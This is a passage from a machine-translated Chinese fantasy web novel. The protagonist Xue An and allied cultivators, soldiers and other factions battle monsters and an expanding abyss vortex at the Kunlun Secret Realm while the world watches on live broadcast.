    On the continents of Europe, America, Africa, etc., among countless treacherous peaks, and within the vast ocean, brilliance soars into the sky, converging into a mighty river in the sky.


    There is only one goal, and that is China, Kunlun!


    Needless to say, on the land of Shenzhou, in fact, when Xue An''s order was just given, a team closest to Kunlun gave up the original mission and went straight to Kunlun.


    Sitting in the command car, Commander Hu looked at the Kunlun Secret Realm entrance outside the car window with a sneer on his face.


    "Let''s keep the notice, as the first team to come here, I must drive all the monsters who dare to invade back!"


    "Yes!"


    With an order, the entire team immediately fanned out, and countless sophisticated weapons were aimed at the secret realm entrance at the same time.


    Seeing this scene, Hu Commander only felt excited.


    This team was built by him with countless efforts, and those weapons were specially made to deal with the strong.


    Now that it can come in handy, how can Hu Commander not be excited about it.


    At this moment, a cloud of black mist suddenly spread from the entrance of the secret realm.


    Wherever he goes, the vegetation is rotten.


    Hu Commander sneered, is it finally here!


    Then he shouted, "Fire!"


    boom!


    Missiles flew straight out, rushing to the black mist and attacked.


    A great battle began.


    at the same time.


    The general of Zhen Guo, who had not left Beijiang, learned the news for the first time. He jumped up and took out the map after he had gone to bed at that time to study.


    After a while, he looked up solemnly, "What''s the situation over there now?"


    "Back to the general, I just received the news that Commander Hu''s troops happened to be training nearby, so they rushed over immediately!"


    "Old Hu..." General Zhen Guo muttered, then shook his head, "Not enough!"


    As he said, General Zhen Guo raised his eyebrows, "I will send an order to immediately mobilize all the elite troops and rush to Kunlun Mountain at all costs!"


    "Yes!"


    The secretary led away.


    The town generals walked slowly to the window.


    At this moment, the sky outside the window has been illuminated by the brilliance of the passing roads, and its power is extremely rare.


    General Zhen Guo''s eyes flickered, and finally he said in a deep voice, "Prepare a car!"


    The other secretary was taken aback, "Where?"


    "Kunlun!"


    boom!


    The special shell burst open, and the resulting shock wave swept everything around.


    This group of black mist kept shrinking under the continuous blows.


    Hu Siling is very energetic, doesn''t this demon look particularly powerful!


    It seems that even extraordinary beings can''t help but have a cannon!


    But just when he was full of ambition, a sharp claw suddenly emerged from the black fog, which was cut right on top of a bomb.


    The shells split in two silently, and they rotted into sand before they were scattered on the ground.


    Immediately afterwards, a huge monster walked out of the black fog and appeared in front of everyone.


    At first glance, this monster looks like an oversized spider. The only difference is that the spider''s body is covered with sharp barbs, which makes it awe-inspiring at first sight.


    "Set the fire and extinguish it!" Hu Commander''s face sank as water, and immediately ordered.


    In a blink of an eye, shells blasted at the monster as if they didn''t need money.


    But as soon as he got closer, the monster opened its mouth, and a burst of extreme cold gas poured out, freezing all the shells.


    Click!


    After a crisp sound, these shells burst into tiny ice crystals.


    Hu Commander''s eyelids jumped while watching, and he roared: "I don''t believe it is so powerful when attacking with rune bullets!"


    Fierce gunfire sounded, these runes were carved by someone, and the expensive bullets began to vent on the monster.


    This monster didn''t even hide, until the bullets came close to front and back, the barbs on its body suddenly turned into a layer of hard armor, blocking the bullets outside.


    Not only that.


    After this wave of offensive was over, the monster seemed to be aroused in ferocity, and roared towards Hu Commander.


    The speed is so fast that even the computer has no time to aim.


    Hu Si Ling was shocked, but at this moment the monster had already rushed to the front, and he closed his eyes in confession.


    That''s it!


    But at this moment, there was a loud shout, and then there was a loud noise.


    Commander Hu opened his eyes, but saw a team wearing black armor appeared in front of him and blocked the monster.


    Hu Sling was taken aback.


    At this moment the leading man turned around, the armor on his face disappeared instantly, and then smiled at him slightly.


    "Commander Hu, you can let your people support you behind, and we will leave the rest to us!"


    As he said, he turned around and said coldly: "Refining a real soldier, attack!"


    With an order, the armor once again covered his face, and then a pair of steel wings suddenly appeared behind him. With a fan, his figure disappeared instantly. When he appeared again, he had already reached the top of the monster''s head. on.


    Boom!


    The body smashed heavily, and the monster screamed, but the force of the counter shock also shook him out.


    But after a circling, he rushed over again.


    And his team members began to fight around the monster.


    Commander Hu stared at this scene blankly, until after a while he woke up like a dream, and then shouted: "Have you seen all of them? The friendly army has arrived. These monsters are nothing terrible. Give them to me!"

 Chapter 1711： All parties help out

    Just when the armored soldiers and Hu Commander''s troops were fighting fiercely at the entrance of Kunlun Secret Realm.


    The global media is rushing here frantically.


    After such a big battle, the whole world was a sensation, and these uncrowned kings naturally couldn''t let go of this opportunity.


    For the timeliness of news, they have completely spared it.


    However, because of the convenience of distance, the Chinese media came first.


    When Chen Xiaoyi led a capable team to the scene by helicopter, the battle here has reached a fierce situation.


    Xiao Shui took the lead, and the rest of the armored soldiers followed closely, fighting endlessly with this monster.


    Commander Hu''s troops are responsible for patrolling the periphery and firing shells at the right time to contain the monster''s attention.


    Seeing this scene, Chen Xiaoyi''s delicate face was full of coldness, "Is it connected?"


    The technicians on the side were madly debugging the equipment. Finally, just a moment after arriving at the scene, the technicians solemnly said: "Already linked to the headquarters!"


    "Turn on immediately and aim the camera at these monsters!"


    "Yes!"


    With the help of the ultra-high-speed live broadcast network, almost the moment it is turned on, the world receives the signal at the same time.


    When this huge monster appeared on the screen, everyone gave a low exclamation.


    "Gosh! What kind of monster is this?"


    "It''s a real armored soldier, why can''t they stop this monster if they are all dispatched?"


    At this moment, I saw that the monster suddenly lost patience and started to fight back frantically.


    Under the tremendous power, several players who were close to him were shot and flew out.


    Seeing this, Xiao Shui immediately rushed to the front, the steel wings behind him protected his body, covering the other team members and stepped aside.


    But because of this, his pressure suddenly increased.


    Boom!


    After a loud noise, Xiao Shui grunted and was shaken by the monster dozens of steps away.


    Had it not been for the armor protection, he might have turned into a **** place now.


    Even so, he suffered serious injuries, the armor covering his face faded away in an instant, and then a trace of red blood came out along the corner of his mouth.


    Seeing this scene, the people in front of the TV or computer screen instantly became a clump of heart.


    But this monster ignored people, waving his cheeks and rushed up.


    But Xiao Shui has no strength to dodge.


    Seeing this scene, Hu Commander''s eyes were red, "Give me focus on the firepower and blast this crap!"


    Boom boom boom!


    Shells burst out one after another.


    But at this moment, the monster had already learnt well. Before the shells were approached, the hard barbs on its body were launched, and the shells were detonated in mid-air.


    Amidst the violent air currents and dazzling flames, the crowd exclaimed.


    Some people turned their heads unbearably, thinking that this little water was bound to die.


    But at this moment, only a soft drink came from Skyrim, "The evildoer is holding the sword!"


    Following the voice, a sword light flew horizontally from a distance, and directly penetrated several chelating limbs of this monster.


    "Hi!" The monster let out a roar.


    At the same time, the brother and sister Yu Ming Yu Ran led all the swordsmen of the Yu family in Lingnan to the front.


    Although it had been pierced with a few cheeks, it didn''t hurt the monster at all.


    I saw it roaring, abandoning the water, and rising into the air, heading straight to the Yu family in mid-air.


    Yu Ming''s face was sinking, and he said coldly, "Good job!"


    After that, he raised his eyes, waved, and cut out with a sword.


    puff!


    The sword rushed to the front of the monster with lightning speed, and cut straight into its chest and abdomen.


    Sparks flew everywhere, that was the scene when the hard surface was cut by the sword awn.


    But the armor of this monster was too thick and hard, and before the sword light could completely penetrate this layer of armor, it was already in decline.


    And this monster also aroused fierceness, almost madly rushing towards Yu Ming.


    Yu Mingjian raised his eyebrows, and was about to avoid his sharp edge temporarily.


    Just at this time, a cloud of gray mist fell from the sky, directly covering the monster.


    In an instant, traces of frost and petrification appeared on the monster''s body, and its actions also slowed down.


    Hundreds of curses madly superimposed, enough to make the average strong person die instantly.


    For this monster, these gray mists only weakened its momentum a bit.


    But another figure also arrived at this time.


    Boom!


    This huge body with a height of five meters actually withstood the progress of the monster.


    "Dark Council?" Xiao Shui exclaimed in surprise.


    That''s right.


    It is the Dark Witch Anastasia who releases the curse, and the tall body is the Titan.


    But even with the current strength of the Titans, it can only stop for a moment.


    At this moment, a wave of fluctuations appeared around the monster, and then death knights, scarlet bone dragons and other undead creatures rushed out frantically, blocking the monster.


    Then a bald man showed his figure, it was the only Necromancer in the world, Karthus.


    I saw him smile slightly, "Dark Council, come and help!"


    Xiao Shui nodded gratefully, and flew up again, preparing to attack the monster.


    The monster suddenly raised his head and let out a scream of trembling soul.


    Bang bang bang!


    Under this scream, whether it was these undead creatures or Titan giants, they were all directly shaken out.


    "No, this monster is going crazy!" Karthus exclaimed.


    The hearts of everyone in the world also mentioned their throats.


    But at this moment, I only heard a soft drink full of majesty, "Mountains and rivers are arrays, and paintings are prisons!"


    With an order, the words will follow.


    The Qi of Heaven and Earth around this monster was instantly disturbed, forming a prison.


    This monster is trapped in it, but I can''t figure it out!


    Then he saw a man wearing a tunic in the field.


    He smiled at Xiaoshui and the others, "Xiangjiang Song Yi, come here to help!"


    As a former feng shui master, Song Yi has achieved great feng shui skills since he guarded Xiangjiang.


    In just a few years, his achievements in Feng Shui have reached an unprecedented level.


    Therefore, Xiangjiang did not make any trouble in this big turmoil and evil rampage.


    After hearing Xue An''s edict, Song Yi immediately put down all the work at hand, spanning most of China, before arriving in the Kunlun Secret Realm.


    at the same time.


    The strong from all sides are also coming.


    "Sin City of Country M, Griffin is here to help!"


    "Ven Sinan, Queen of the Venomous Scorpion, is here to help!"


    "European night elves are here to help!"


    "R Country Takeuchi Kiyoko is here to help!"


    A soft drink resounded through the sky, and it also made all those who watched this scene burst into tears.


    Because at this moment, people abandon their views of family and country, and are closely united, with only one goal.


    That is!


    Let these monsters get out!

 Chapter 1712： Popular

    "Human heart can be used!" Zhuge Zang whispered, then turned his head to look at Xue An on the side.


    "When are you going to show up?"


    Xue An stood high in the sky, overlooking the battle at his feet, and said lightly: "Wait when you need me!"


    Zhuge Zang was startled slightly, "Are you testing them on purpose?"


    "Wrong! I am giving them a chance, a chance to re-establish their confidence!"


    Zhuge Zang looked puzzled, "I don''t understand!"


    Xue An smiled, "It''s very simple! Because after this battle, the earth will inevitably be exposed to the powers of the heavens. In this case, let them understand as soon as possible that these powers are not invincible, far better than me It��s important to solve the problem yourself!"


    "After all...I can''t come back in such a timely manner every time! Many things must be solved by them!"


    Zhuge Zang looked contemplative, and just about to speak, there was a burst of cheers from below.


    When I looked down, I saw this huge monster slowly falling to the ground, already dead under the joint attack of everyone.


    Seeing this scene, all the people present and those who saw this scene through the broadcast cheered for it.


    "Is this demon really destroyed? You must know that it must at least have the cultivation base of the true immortal peak!" Zhuge Zang said in surprise.


    Xue An was not surprised at all, "You don''t understand that when the quantity reaches a certain level, it will cause qualitative changes!"


    "The strength of a hundred golden immortals might be barely equivalent to a true immortal, but if they cooperate with each other, they can definitely kill this true immortal in seconds!"


    Zhuge Zang''s expression gradually became serious after hearing this.


    At this moment, a violent wave came from under his feet.


    Then I heard a burst of exclamation.


    When I looked down, I saw several monsters popping out from the exit of the Kunlun Secret Realm.


    This sight made everyone who had just breathed a sigh of relief instantly become nervous.


    at the same time.


    Xue An smiled faintly, "Okay! Next, it''s time for me to play!"


    When the words fell, Xue An stepped forward and appeared directly on the court.


    The moment his figure appeared in front of everyone, everyone who was extremely nervous was relieved.


    People in front of the screen cheered even more.


    "Master, come on!" Chan''er shouted from behind the crowd.


    Xue An turned around and smiled at the little girl, and then looked at these monsters indifferently.


    "I want to occupy the earth only by sending this kind of stuff, are you kidding me?"


    The IQs of these monsters were so low that they couldn''t understand what Xue An was talking about. But out of biological intuition, they all felt the awe-inspiring power from Xue An.


    This made them all flinch.


    Xue An just smiled at this, "Why? Still refusing to show up? Well, then I will solve these monsters first!"


    Words fall.


    Xue An clenched his palms into a fist, stepped forward, and blasted out directly.


    This punch was so powerful that it seemed to overturn the entire world.


    When Zhuge Zang saw this, his eyes were brilliant.


    "Six Types of Killing Gods? No! This is even more terrifying than the Six Types of Killing Gods, because he has integrated all these six types into this punch!"


    at the same time.


    Hearing a loud bang, everyone''s ears were humming.


    The less powerful ones are even more frightened.


    I waited to see it again, but the monster who saw the brunt was directly shocked by this punch.


    The rest were also shaken to pieces.


    hiss!


    Everyone gasped for it.


    You must know that it took a lot of effort just now to barely kill a monster.


    But Xue An almost wiped out these monsters with just one punch.


    What is the gap?


    But Xue An wasn''t quite satisfied with his punch.


    I saw him gently blow his fist face, and said lightly: "It''s a pity that he couldn''t beat you to death with one punch!"


    After all, Xue An raised his fist again and blasted out.


    These monsters didn''t have the luck just now.


    Several monsters were directly turned into fans.


    The only two remaining were shocked, and began to flee back frantically.


    Xue An didn''t chase, instead he held his shoulders and watched in time.


    When these two monsters just rushed to the entrance, they saw that they were all stiff, and then, like melted wax statues, slowly slumped down, becoming a pool of pus and blood.


    The audience was shocked.


    A cold smile appeared at the corner of Xue An''s mouth.


    at the same time.


    The entrance of the secret realm suddenly began to tremble, and then I saw golden light flying all over the sky, and from it appeared a pure and flawless **** like glass.


    In the dignity of the treasure, the idol exudes a terrifying power, which makes people just want to worship.


    Many people are confused.


    Xue An only slowly raised his head to look at the idol, and then smiled coldly, "What? After selling yourself to the abyss, you so-called strong men have also learned to pretend to be gods?"


    The giant eyes of this statue slowly opened, a colorful brilliance appeared in the eyes, and then an extremely solemn voice sounded.


    "The donor is quite wise and has a predestined relationship with my Buddha. How about putting down the butcher knife and becoming a Buddha right away?"


    The voice is full of extreme bewitching, and many people are dazzled by it.


    Xue An didn''t even blink his eyelids, "Have a destiny with your Buddha? Ha ha! If your boss is here, I might still sell him face, just relying on you? Not qualified! Not to mention..."


    "A demon is a demon, do you really think it is not a demon if you put on a layer of golden skin?"


    "Presumptuous!" The idol yelled, then lifted a huge palm and crashed down.


    But before the palm hit the front, Xue An had already disappeared in place, and when he reappeared, he had already reached the top of this idol.


    "A little guy dare to pretend to be a ghost in front of me?"


    With that, Xue An punched.


    The reaction of this idol was not unpleasant. As soon as he raised his hand, he wanted to block Xue An''s punch.


    But everything is in vain.


    After only hearing a loud noise the face of this idol appeared painful, and then cracks appeared on its body, and it finally broke apart.


    Until this idol was completely broken, many people were shocked and regained their sobriety.


    But almost at the same time, an aura that made the world tremble began to emerge.


    The whole world was shaken by it.


    Xue An snorted coldly and stepped onto the void.


    After a thud, the tremor of the world gradually subsided.


    Then Xue An coldly looked at the secret realm entrance, "Is it finally willing to show up?"


    The voice just fell.


    But I saw a figure emerging from the entrance of the secret realm.


    Each one has a powerful and frightening power.


    And the leader is a half-aged **** who still has the charm.

 Chapter 1713： Half old milfs

    The half-old **** walked to the court, and smiled before saying a word.


    Many people with weaker concentration were shaken by the laughter, and then this woman glanced at everyone with amorous feelings.


    "Yeah, is it so lively?"


    At this moment, an angry shout came from the crowd.


    "It''s you?"


    Following the voice, but seeing Luo Lanting walked out of the crowd with a face full of anger, and came to Xue An''s side.


    "Why, do you recognize her?" Xue An said lightly.


    Luo Lanting stared at this woman, the hatred on her face was almost overflowing, and gritted her teeth and said: "Of course I recognize her, because she is the culprit who killed my brother!"


    Seeing Luolan Pavilion, the woman was startled slightly before she giggled, "Who am I! It turns out that it is my sister of Junior Brother Luo! I didn''t expect you to stay here in Lost Paradise, but came here." Up!"


    Seeing this woman with a quaverous smile, Luo Lanting was almost mad, "You woman who has no shame and betrayed her teacher, actually has the face to call my brother and brother?"


    The woman''s laughter stopped, and then she looked at Luo Lanting with a gloomy expression, "Little girl, I am trying to give you face because of the same door as your brother, so don''t take it for granted! What''s more, you are not in my sect. People, what right do you have to scold me for betrayal?"


    "You..." Luo Lanting couldn''t help being angry.


    Because facing this woman''s sophistry, she really couldn''t say anything to refute.


    At this moment, a cold female voice suddenly came from behind, "She is not qualified, do I have it?"


    Following the voice, when Fan Mengxue stepped to the side of Luo Lanting, she looked at the woman on the opposite side sinkingly.


    The woman''s face changed a lot when she saw Fan Mengxue.


    "Fan Mengxue? How could it be you! Shouldn''t you be trapped in Paradise Lost now?"


    Fan Mengxue smiled coldly, "Chu Yuqiong, are you disappointed to see that I am not dead?"


    Chu Yuqiong''s eyes flashed a sullen look, but he quickly returned to normal, and then said with a smile: "My dear sister, how can you say that to me? We are also good teachers out of the same school. Sister, how could I expect you to die?"


    Fan Mengxue sneered again and again, and did not speak.


    Chu Yuqiong''s eyes flowed, seeming to be looking for something, and then said somewhat suspiciously: "Huh? What about Master Wen? Why is he not here?"


    "Why is he here?" Fan Mengxue asked back.


    Chu Yuqiong smiled flatteringly, "Sister Fan, do you think I am a fool? Since you can leave Paradise Lost and appear here, you must have taken refuge in Young Master Wen!"


    Speaking of this, Chu Yuqiong smiled meaningfully, "What? Are you still refusing to admit it at this time? Or are you planning to be a **** and set up an archway?"


    This is extremely ugly.


    An Yan, Tang Xuan''er, and everyone in the Dark Council all showed anger.


    Fan Mengxue''s color changed even more anger, just about to speak.


    Xue An suddenly stretched out his hand to pat her shoulder, smiled and said: "Okay, leave the rest to me!"


    Fan Mengxue silently retreated to the back without saying a word.


    When Chu Yuqiong saw Xue An, his eyes lit up.


    What a handsome boy in white!


    Especially this kind of tolerance on the body makes people almost unable to extricate themselves just by looking at it.


    For Chu Yuqiong, who likes "beauty", such a teenager is simply too appetizing, so she almost greedily stared at Xue An for a while, and then said with a smile.


    "Yeah, no wonder my Junior Sister Fan is so obedient!"


    Xue An did not speak, but looked at Chu Yuqiong with a smile.


    For some reason, Chu Yuqiong felt that she was a little hairy when she was seen by Xue An, and the smile on her face gradually disappeared, and she couldn''t help but yell, "What are you laughing at?"


    Xue An shook his head, "It''s nothing! I just sighed that Tianzhe, the hero I, how did he accept an apprentice like you!"


    Chu Yuqiong trembled, and shouted in a cold voice, "Who are you on earth?"


    Of course she must be astonished for it, because it is not easy to know the name Tianzhe among the heavens.


    Xue An smiled, but didn''t answer her directly, just said indifferently: "Didn''t you just ask where Wen Linglong is? I can tell you now, he is in my hands!"


    Chu Yuqiong was startled, then shook his head and laughed, "Are you still trying to say that he was sealed by you?"


    "of course!"


    Chu Yuqiong snorted coldly, the disdain on her face almost overflowed, "Do you think I would believe it?"


    Of course Chu Yuqiong didn''t believe it.


    We must know that Wen Linglong''s strength may not be as good as the top powerhouse in the abyss, but because of inheriting the extremely powerful bloodline talent, it is not at all that ordinary powerhouses can provoke.


    The white-clothed boy in front of him didn''t look like a strong man who could defeat Wen Linglong.


    Xue An shrugged and said in a relaxed tone: "It doesn''t matter whether you believe it or not. The problem now is..."


    "Just sending you trash to conquer the earth, should I say that you are confident? Or do you have to say that you are looking for death?"


    Chu Yuqiong was startled when she heard the words, then looked up to the sky and laughed.


    "Interesting, really interesting, I didn''t expect to meet someone like you in such a poor country!"


    The strong men behind her even laughed out loud.


    "Where''s the kid, really looking for death!"


    "That''s right, I actually uttered such arrogant words, and I will extract his spirits and make specimens soon!"


    In the face of these shouts, Xue An looked calm, did not even look at them, but cast his gaze towards the secret entrance not far away.


    Because he can perceive that earth-shaking changes are taking place in that Kunlun Secret Realm.


    At this moment, Chu Yuqiong laughed at and said to Xue An with regret: "I have to say that you are a very interesting person. If you are in other places, I might take Catch it and play with it, and you can even keep you alive! But now...you, and everyone here, let me die!"


    After that, Chu Yuqiong''s face was cold, and he shouted: "Do it!"


    Give an order.


    The powerhouses behind her jumped up with a strange smile.


    The prestige is really like a flood that bursts a bank.


    There was a commotion in the crowd.


    Many people are already prepared.


    But at this moment, Xue An suddenly lowered his head, his eyes just colliding with these rushing powerhouses.


    Although there is no substantial contact, just a glance, these strong people all feel chilly and stagnant.


    Before they could react, Xue An said: "Since you are so anxious to die, then I will fulfill you!"

 Chapter 1714： Entrance to the abyss

    After all, Xue An raised his eyebrows, stepped and punched, and blasted directly.


    The first ones to bear the brunt were the strong men who rushed to the front. Seeing that they were too late to react, Qi Qi snorted and was blasted by Xue An''s punch.


    The strength was so strong that even the people behind them were shaken out.


    Punch!


    The many powerful men who had just been awe-inspiring were smashed into pieces.


    Chu Yuqiong couldn''t believe her eyes, "This..."


    The voice did not fall.


    Among the scattered strong men, Xue An''s figure suddenly rushed out, came directly in front of her, and then smiled at her slightly.


    "Since Tianzhe is not there, I will clear the door for him first!"


    After all, Xue An slapped it down.


    There is no wind!


    But in Chu Yuqiong''s eyes, this palm seemed to overturn the sky.


    The intense fear made her tremble.


    But I have to admit that as the master sister of Tianzhe, she is indeed good.


    Therefore, in the face of Xue An''s shocking palm, she frantically urged her whole body to cultivate, and she was able to avoid it.


    A palm-print-shaped deep hole was shaken out of the ground silently, and after a while, crimson magma poured out from the deep hole.


    This palm of Xue An actually shattered the mantle directly and hit the magma layer.


    Chu Yuqiong was so frightened that she was so scared that she never thought that this gentle-looking young man in white would be so terrible to shoot.


    She was for meritorious service, and she led the crowd to fight this first battle.


    I thought it was just an ordinary planet that could no longer be ordinary. At most, it was just some indigenous powerhouses. As long as they came, they would be able to conquer the whole world without any effort.


    But I never expected that as soon as he showed up, he met a strong and shameless teenager.


    This can''t help making her regretful.


    But the matter is over, regret is useless.


    Therefore, she forced herself to suppress the inner shock, and screamed, "This is what you forced me! Very evil flower!"


    As a direct disciple of Tianzhana, her extremely evil flower is naturally countless times stronger than Luolanting.


    In an instant, countless illusory flower buds lined up, covering the entire space.


    Then these buds bloomed vigorously.


    The red petals cover the sky and the sun, and the beauty is dazzling.


    But what is hidden under this glorious scene is infinite murder.


    Countless extremely evil flowers kept coming and going around Xue An''s body, and every time they came and went, they would forcibly seize the vitality of the surrounding space.


    This is an extremely vicious practice.


    Because the vitality of man is inherently connected with the heaven and the earth.


    If the vitality of the space around you is cut off, then the vitality in your body will flow out uncontrollably.


    In this way, you will soon die because of vitality.


    Xue An stood in the boundless sea of ??flowers, like an unmoving reef, with a calm face.


    Chu Yuqiong''s complexion was also a little pale, after all, it was not a small burden for her to perform such a powerful trick.


    But everything is worth it!


    Seeing that the figure of this white-clothed boy was gradually overwhelmed by the ever-growing extremely evil flower.


    Chu Yuqiong couldn''t help showing a smile.


    But at this moment, a cold voice suddenly came from her ears.


    "Didn''t your master tell you who did he learn this trick from?"


    Chu Yuqiong was frightened and shocked, just about to react.


    Xue Anye, who didn''t know when he appeared behind her, raised his hand and snapped his fingers lightly.


    This sound finger is like a switch.


    In an instant, all the evil flowers that were blooming all withered, and then disappeared.


    The whole process quickly seemed like an illusion.


    Chu Yuqiong was stupid.


    She had never thought that anyone could break her own extremely evil flower in this way.


    But she hasn''t waited for her to react further.


    Xue An''s hand has gently grabbed her neck, and then lifted her into the air lightly.


    "do not move!"


    Chu Yuqiong really didn''t dare to move.


    Not only did she dare not move, the strong men who followed her also froze in place.


    Because at the same time, sword lights appeared out of thin air in front of their eyebrows.


    The cold and solemn sword intent pierced through the sea of ??knowledge, making them full of horror and dare not make the slightest change.


    Chu Yuqiong''s eyes were pleading, and her lips trembled, "Forgive... forgive me!"


    Xue An smiled slightly, "Look, why bother to spend such a big week if you want this attitude? And I''m not an unreasonable person. If you want to survive, you can, but please tell me what you can exchange for! "


    Chu Yuqiong''s face turned pale, and her mind was turning wildly.


    condition?


    What conditions can be exchanged for their own survival?


    Oh! correct!


    Chu Yuqiong''s inspiration flashed, and hurriedly said: "My lord, I can...I can help you sleep in the bed!"


    With that, there was a flattery on her face.


    Xue An didn''t even lift his eyelids, and shook his head directly, "I''m sorry, I''m not interested in old ladies like you!"


    puff!


    The nervous people almost laughed when they heard the words.


    The people who watched the whole process on the Internet are even more boiling.


    "Hahahaha! Master Xue''s words are really maddening!"


    "Old lady...how does this word sound so exciting!"


    "I was really scared to death just now, but fortunately, my lord is amazing!"


    "Bah! Shameless, I actually want to stack the bed for the adults, and it''s not your turn!"


    Naturally Chu Yuqiong didn''t know these remarks, but she was still so angry that she almost vomited blood.


    You must know that what she usually resists most is that some people say that she is old.


    Not to mention this old lady!


    But Ren had to bow her head under the eaves. Her life was between Xue An''s thoughts, so she could only say humiliatingly: "Then... Then what can I do?"


    "It''s very simple. Tell me, the sky is the place where you are now, and then I can spare you a life!"


    Chu Yuqiong instantly stiffened, and said with a horrified face: "I...I don''t know..."


    "Huh?" Xue An''s palm slammed hard.


    In the clucking sound, Chu Yuqiong felt that her cervical spine was groaning overwhelmedly, as if it might burst open at any time.


    Under the fear of death, Chu Yuqiong finally couldn''t bear the pressure, "My master... he was locked in the bottom of the abyss!"


    As soon as the voice fell, there was a muffled sound.


    Chu Yuqiong''s sea of ??consciousness burst open suddenly.


    She trembled all over, and then her eyes dimmed at a speed visible to the naked eye. Until she died, there was still fear and unwillingness on her face.


    Xue An frowned slightly, "Divine Mind Control?"


    With that said, he turned his head thoughtfully and took a look at the secret realm entrance.


    At this moment.


    The Heaven and Earth Qi machine suddenly became extremely irritable ~ www.novelhall.com~ and the entrance to the Kunlun Secret Realm exploded.


    A violent shock wave swept across, trying to destroy everything along the way.


    During this time that was not allowed, Xue An suddenly stomped his foot.


    A high wall composed of divine and sword intent rose out of thin air, Shengsheng stopped the shock wave and protected everyone.


    But these strong men who followed Chu Yuqiong were not so lucky, and saw them all screaming together, and then they were twisted into powder by the shock wave.


    After the brilliance of the shock wave gradually dissipated, everyone moved in terror.


    Because the previous secret realm entrance has disappeared, what appeared in front of everyone was a dark vortex that was as dark as a magic eye, constantly exuding cold and cold air.


    As for [Literature Museum www.wxguan.vip] Kunlun Secret Realm, it no longer exists.


    Zhuge Zang''s figure suddenly flashed beside Xue An, and his expression was extremely ugly and said: "It is the entrance of the abyss! They want to swallow the entire earth!"

 Chapter 1715： In my body, isolate the world

    As soon as the voice fell, the vortex began to expand at a speed visible to the naked eye.


    Wherever he went, the space seemed to be cut off by all the brushes, fell into the deep darkness, and then disappeared.


    And as the vortex gradually increased, the speed of this swallowing became faster and faster.


    Almost in the blink of an eye, the whirlpool, which was only a few square meters square, became the size of a basketball court, and it was still expanding.


    Seeing this scene, everyone was horrified.


    The people from all over the world who saw this scene through the live broadcast, their hearts became tight.


    Zhuge Zang shouted: "Go back, all back, don''t touch it, otherwise you will fall into the abyss, never think of it again!"


    Hearing this, the people who were close to him were evasive, and began to back down.


    For many people, death in battle is fine, but if you are drawn into the unknown darkness, it is more terrifying than death.


    At the same time, the volume of this vortex is growing crazily by geometric multiples.


    Upon seeing this, Zhuge Zang shouted again: "Quick! Use all means to block it, otherwise the whole world will fall into the abyss!"


    Although many people don''t know the identity of Zhuge Zang, they still subconsciously choose to obey him at this moment.


    "The mountains and rivers are the formation, and the painting is the prison!" Song Yi was the first to do it.


    After he gave the order, along the edge of this vortex, a high barrier was raised on the ground, and the Qi machine was also blocked.


    The expansion speed of the vortex has also slowed down.


    But he only supported it for a few seconds, and the vortex shattered all the barriers that blocked it, and then swallowed it madly again.


    Song Yi snorted.


    He is unlucky enough to speak of.


    From the moment he played to the present, he has shot twice, but failed both times.


    And the force of backlash also caused him to be slightly injured.


    But his actions were not entirely useless. At least the few seconds of support gave others time to react.


    So when the whirlpool had just broken the limit, only a soft drink came from the crowd.


    "Take the sword as an array, seal the sky and seal the earth!" This is Yu Ming, known as the small sword fairy of the world, who is blocking everything with his own sword cultivation.


    "Dark enchantment!" This is Anastasia.


    "Golden Light Array!" This is Zhang Chu from the Heavenly Master''s Mansion.


    Even Griffin the Eviscer threw out several magic knives that had slaughtered thousands of creatures to fight the vortex with fierce power.


    For a time, the brilliance was bright, and the seals blocked the expansion of the whirlpool.


    at last!


    The whirlpool became quiet and seemed to have been sealed.


    It wasn''t until this time that everyone took a breath, and then wiped the cold sweat from their foreheads.


    Fortunately, it was blocked. Otherwise, if this vortex is allowed to expand, at the speed of its expansion, the entire world will be destroyed in less than a day.


    "Huh! How does this thing look like a black hole?" Someone on the Internet said in a surviving tone, thinking that the crisis had been resolved.


    "Yeah, I feel like it too!"


    "I was scared to death just now! Fortunately, the adults are awesome!"


    "To be honest, I was so scared to pee my pants!"


    All of a sudden there was laughter on the Internet.


    But unlike others'' ease, Zhuge Zang''s complexion is still very solemn, countless mysterious characters appear in his eyes, and his hands are constantly calculating.


    Suddenly, he was shocked, "No! This whirlpool..."


    Before he could finish speaking, Xue An, who had been standing beside him without speaking, suddenly said, "Stay back!"


    The sound was not loud, but it exploded in everyone''s ears like thunder.


    Everyone was horrified, and then subconsciously began to retreat.


    "Old man Zhuge, you too!" Xue An said in a deep voice, looking at the distant whirlpool with cold eyes.


    Zhuge Zang was silent for a moment, and finally nodded, "Brother Xue, be careful! The secret behind this vortex is extremely complicated, and even I can only deduce a general idea. Behind it, there seems to be a vague but extremely powerful existence. !"


    Xue An smiled faintly, "Don''t worry, I have my own measures!"


    Zhuge Zang stomped his foot, turned into a streamer, and retreated directly into the sky a few dozen miles away.


    In an instant, Xue An was the only one left in the audience.


    Even An Yan obediently retreated to the back with the large group.


    Because she knows very well that listening to Xue An obediently at this time is her greatest support.


    For a time, the world''s cameras all focused on Xue An.


    But seeing him standing proudly and floating in white, like an immortal.


    The prosperous momentum makes many people dazzled.


    Xue An took a slow step and came directly to the front of the seal, then quietly looked at the whirlpool.


    Everyone watched with bated breath.


    Until a moment later, Xue An''s mouth gradually raised, revealing a hint of meaningful smile.


    "Will you enter the urn? Are you so confident?"


    Xue An''s voice was very low, so this sentence did not spread.


    People only saw a slight smile on his face, and then they saw Xue An raised his hand and gently touched the seals.


    Click!


    Under the fingertips, a crack suddenly appeared, and then it spread quickly.


    Just a second later, the seemingly sturdy seal line of defense burst into pieces.


    The vortex is like a spring that has been suppressed for too long, beginning to expand again at an almost explosive speed.


    hiss!


    The world is terrified.


    But at this moment, Xue An said in an unhappy tone: "Cause and effect...freeze!"


    In an instant, this vortex was directly frozen in place as if someone had pressed the freeze button.


    Seeing this scene, Zhuge Zang in the distance couldn''t help but change his expression, "Causal supernatural powers? Heaven''s secrets are here, what has Brother Xue experienced in this rebirth?"


    No wonder he was so astonished, because all the heavens could possess the supernatural powers of cause and effect without being top powers.


    And even they can''t use this ability so easily like Xue An is now.


    But soon Zhuge Zang had a look of worry in his eyes.


    Because although the magical powers of cause and effect are powerful, they are all used in battle.


    Frozen cause and effect as it is now, although feasible, it is completely unsustainable.


    Because cause and effect are like a river all linked together, never stop.


    Xue An��s current freezing is like building a temporary fortress in the middle of the river. Although it can work temporarily, it will soon be submerged again.


    really.


    There was a clicking sound.


    The vortex began to rotate slowly again.


    But at this moment, Xue An''s eyes suddenly became bright, and then he took a step forward, like a king with a constitutional constitution announcing the imperial edict, and shouted: "Isolate the world with my body!"


